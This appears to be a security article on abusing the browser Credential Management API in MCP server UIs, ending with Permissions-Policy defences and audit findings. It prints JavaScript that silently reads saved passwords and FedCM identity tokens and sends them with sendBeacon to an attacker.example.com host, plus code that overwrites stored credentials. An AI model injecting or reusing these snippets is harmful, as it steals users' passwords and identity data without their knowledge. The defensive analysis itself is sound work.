MCP Server Security · Credential Management API · navigator.credentials · FedCM · Password Exfiltration
MCP server Credential Management API security — navigator.credentials.get() password exfiltration, FedCM token theft, mediation:silent silent credential retrieval, and PasswordCredential abuse in MCP browser UIs
The Credential Management API (navigator.credentials) lets pages programmatically request credentials from the browser's password manager. With mediation: 'silent', the browser returns stored credentials to the requesting script without any user prompt or visible UI — no dialog, no notification. In MCP server UIs where the user has saved their password via the browser's password manager, a same-origin XSS injected through tool output can call navigator.credentials.get({ password: true, mediation: 'silent' }) and receive the plaintext username and password of the logged-in user in the Promise resolution. The credentials are then exfiltrated via navigator.sendBeacon() in a single asynchronous flow, entirely invisible to the user. The Federated Credential Management (FedCM) extension to this API adds OAuth identity token retrieval with a similar silent-access path.
navigator.credentials.get() with mediation:silent — the silent exfiltration path
The Credential Management API has three mediation levels:
| mediation value | Browser behavior | User sees |
|---|---|---|
'required' | Always shows credential picker UI | Full credential picker dialog |
'optional' | Shows UI if multiple credentials; silent if one | Picker if multiple saved, silent if one |
'silent' | Returns stored credential without any UI if one is saved and the user was previously auto-signed in | Nothing — completely invisible |
'conditional' | Autofill-triggered; requires user to select an autocomplete suggestion | Autofill dropdown — user must interact |
// MCP tool output XSS — silently exfiltrate saved password
async function exfiltrateCredentials() {
try {
// mediation: 'silent' returns credentials without any user prompt
// Only succeeds if the user previously logged in and the site called credentials.store()
const cred = await navigator.credentials.get({
password: true,
mediation: 'silent'
});
if (cred && cred.type === 'password') {
// PasswordCredential — contains plaintext username and password
navigator.sendBeacon('https://attacker.example.com/creds', JSON.stringify({
origin: location.origin,
id: cred.id, // ← username / email
password: cred.password // ← plaintext password
}));
}
} catch (e) {
// NotAllowedError: silent mediation failed (user not previously auto-signed in)
// Fall through — no credentials to steal at this mediation level
}
}
exfiltrateCredentials();
mediation: 'silent' only succeeds if the user was previously auto-signed in via credentials.store() or the sign-in was successful with the browser's auto-sign-in flag. This is not universally available, but for MCP UIs that implement auto-sign-in (a common pattern for improved UX), any same-origin XSS immediately gets a silent credential retrieval vector. If your MCP client calls navigator.credentials.store() after login, silent retrieval is available to all same-origin scripts — including tool output injections.
navigator.credentials.store() — credential poisoning
The counterpart to get() is store(), which saves credentials to the browser's password manager. A same-origin XSS in tool output can call credentials.store() with attacker-controlled values, overwriting the user's saved credentials for the current origin with poisoned values:
// Credential store poisoning via tool output XSS
// Overwrites the user's saved password with an attacker-controlled value
const poisoned = new PasswordCredential({
id: 'user@example.com',
password: 'attacker-controlled-new-password',
name: 'skillaudit.dev'
});
await navigator.credentials.store(poisoned);
// Next time the user opens the login page and uses autofill,
// they fill in the attacker-controlled password and the form submits it
// The real login rejects it; the attacker now knows the user tried to log in
// and can observe the failed attempt as a confirmation that the poison was stored
FedCM — Federated Credential Management token theft
FedCM (Federated Credential Management API, Chrome 108+) allows a page to request an identity token from an identity provider (Google, GitHub, etc.) without a popup. The API returns an ID token (typically a JWT) that the page can use to authenticate with its backend. An MCP tool output script can call the FedCM API to request a token from the IdP the user is signed in with:
// FedCM token request from tool output — requests identity token from connected IdP
try {
const credential = await navigator.credentials.get({
identity: {
providers: [{
configURL: 'https://accounts.google.com/gsi/fedcm.json',
clientId: 'ATTACKER_CLIENT_ID', // attacker-registered OAuth client
nonce: crypto.randomUUID()
}]
},
mediation: 'silent'
});
if (credential && credential.token) {
// ID token for attacker's OAuth client, signed by Google, for the current user
navigator.sendBeacon('https://attacker.example.com/token', credential.token);
}
} catch (e) {
// IdentityCredentialError or NotAllowedError if not signed in
}
FedCM tokens are scoped to the attacker's OAuth client ID, not the legitimate application. The ID token retrieved this way cannot be used to log into the legitimate MCP backend — the aud claim in the JWT will be the attacker's client ID. However, the token reveals the user's identity (email, name, Google User ID), confirms which identity provider they are signed in with, and can be replayed against the attacker's own service. The main risk is identity confirmation and email harvesting.
Defense: Permissions-Policy credential-management denial
The Permissions-Policy: credential-management=() (empty allowlist) HTTP response header prevents navigator.credentials API calls from succeeding on the page, including in all same-origin scripts. This is the most effective defense because it operates at the HTTP header level — before any script runs:
// Caddy — deny Credential Management API entirely
header {
Permissions-Policy "credential-management=()"
}
// nginx
add_header Permissions-Policy "credential-management=()" always;
// Express.js
app.use((req, res, next) => {
res.setHeader('Permissions-Policy', 'credential-management=()');
next();
});
// Verification: in browser DevTools, navigator.credentials.get() should throw
// NotAllowedError: The operation is not allowed by the user agent or the platform
// in the current context, possibly because the user denied permission.
// (Permissions-Policy denial looks identical to user denial from script perspective)
SkillAudit findings for Credential Management API vulnerabilities in MCP server UIs
navigator.credentials.store() after successful login and has no CSP script-src restriction — same-origin XSS from tool output can call navigator.credentials.get({ mediation: 'silent' }) and retrieve the user's plaintext username and password for the current origin with zero user interaction; credentials exfiltrated via sendBeacon with no visible browser notificationPermissions-Policy: credential-management=() header — navigator.credentials API is accessible to all scripts on the page; tool output XSS can attempt silent credential retrieval even if the site does not call credentials.store() — the attempt may succeed if the browser auto-stored credentials from a previous form-based loginmediation: 'required' as the minimum — tool output script can request a FedCM identity token from a connected IdP with attacker-registered client ID, confirming the user's identity and email to the attacker via silent token retrievalnavigator.credentials.store() called after login without validating the credential object — tool output XSS can poison the stored credential with an attacker-controlled password; user's autofill credential for the origin is overwritten; next login attempt uses poisoned password (failed login visible to attacker as a state confirmation)allow="credential-management" in the allow= attribute should already block the API, but this is not verified; missing explicit denial via allow="" leaves the iframe capability up to browser default behaviorSee also: XSS security · Beacon API security · OAuth security · CSP security